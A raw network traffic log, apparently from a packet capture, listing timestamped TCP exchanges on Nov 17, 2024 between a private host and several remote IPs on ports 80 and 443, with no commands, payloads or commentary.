Nov 17, 2024 22:20:47.609199047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.609230995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.609560966 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.609575033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.609627962 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.650820971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.650868893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.650904894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.650942087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.650979996 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.673058033 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.692466974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.692498922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.692512989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.692572117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.692586899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.692590952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.692709923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.696132898 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.696156979 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.696203947 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.696214914 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.696245909 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.696269989 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.697343111 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.697416067 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.697649002 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.697679996 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.723685980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723706007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723721027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723761082 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.723803997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.723843098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723922014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723937988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.723979950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.724231005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724247932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724265099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724315882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.724315882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.724628925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724646091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724668026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724677086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.724694014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.724741936 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.725095987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.725112915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.725178003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.775759935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.775820971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.775856972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.775856972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.775906086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.784012079 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.784035921 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.784127951 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.784141064 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.784218073 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.794908047 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.795157909 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.797010899 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.797046900 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.797077894 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.797152042 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.797544956 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.797553062 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.797684908 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.797698975 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.799535036 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.800215006 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.800247908 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.800962925 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.800971985 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.809036970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809067965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809082031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809139013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809155941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809173107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.809201002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.809246063 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.816893101 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.816956997 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.817024946 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.817064047 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.817092896 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.817131042 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.830971003 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.831717968 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.831748009 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.832211971 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.832220078 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.840416908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840457916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840495110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840531111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840569973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.840584993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840595007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.840620995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840632915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.840656996 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.840866089 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840934038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.840934992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.840981007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.841145992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841180086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841206074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.841214895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841227055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.841237068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841285944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.841561079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841573954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.841793060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.883143902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.883182049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.883218050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.883235931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.883276939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.922617912 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.922758102 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.922826052 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.922885895 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.923114061 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.923130989 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.923141003 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.923147917 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.924097061 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.924201012 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.924345970 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.924488068 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.924509048 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.924521923 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.924529076 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.925635099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925652027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925668955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925721884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.925755024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.925781965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925797939 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925817013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.925841093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.925858974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.927514076 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.927547932 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.927644014 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.927798986 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.927810907 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.927874088 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.927881002 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.928013086 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.928177118 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.928188086 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.930047035 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.930210114 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.930284977 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.930383921 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.930402994 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.930414915 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.930419922 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.932722092 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.932763100 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.932917118 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.933052063 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.933063984 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.934952974 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.935014963 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.935048103 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.935072899 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.935100079 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.935165882 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.956984043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957006931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957029104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957072020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957108974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957159996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957181931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957204103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957211971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957226038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957227945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957248926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957267046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957622051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957789898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957813978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957833052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957853079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957866907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957868099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957891941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.957912922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.957937002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.958158016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.958178997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.958210945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.958214998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.958244085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.958267927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.962042093 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.962214947 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.962280989 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.962455034 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.962471962 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.962481976 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.962486982 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.965735912 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.965749025 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.965959072 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.966101885 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.966113091 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.975512981 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.975533962 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.975608110 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.975615025 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.975646973 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.999809980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.999833107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.999850988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.999895096 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.999931097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042424917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042521000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042551994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042560101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042571068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042597055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042620897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042741060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042774916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042804003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042809010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.042824030 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.042877913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.054788113 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.054812908 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.054915905 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.054924965 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.054966927 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.073713064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.073801994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.073817015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.073836088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.073836088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.073865891 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.073882103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.074130058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074146986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074165106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074173927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.074206114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.074227095 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.074237108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074254990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074271917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074321032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.074923038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074950933 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074966908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.074986935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.075004101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.075036049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.075052977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.075074911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.075103045 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.075620890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.075676918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.076061964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.076108932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.116763115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.116837025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.116893053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.116950035 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.117008924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.143081903 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.143106937 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.143182993 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.143196106 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.143224955 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.143244028 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.150314093 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.150652885 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.150671005 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.152163982 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.152393103 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.152416945 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.152448893 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.152472973 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.153529882 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.153618097 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.154607058 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.156310081 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.156394958 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.156860113 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.156867027 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.157242060 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.157346010 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.157358885 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.157449961 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.159243107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.159351110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.159389019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.159395933 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.159411907 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.159424067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.159454107 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.159461021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.159497976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.159523010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.160109043 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.160115004 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.174685955 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.174705982 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.174753904 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.174760103 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.174797058 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.174827099 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.190758944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.190795898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.190828085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.190830946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.190846920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.190998077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191036940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191066027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191072941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191093922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191124916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191164017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191200018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191248894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191642046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191672087 CET	80	60797	185.215.113.206	192.168.2.7
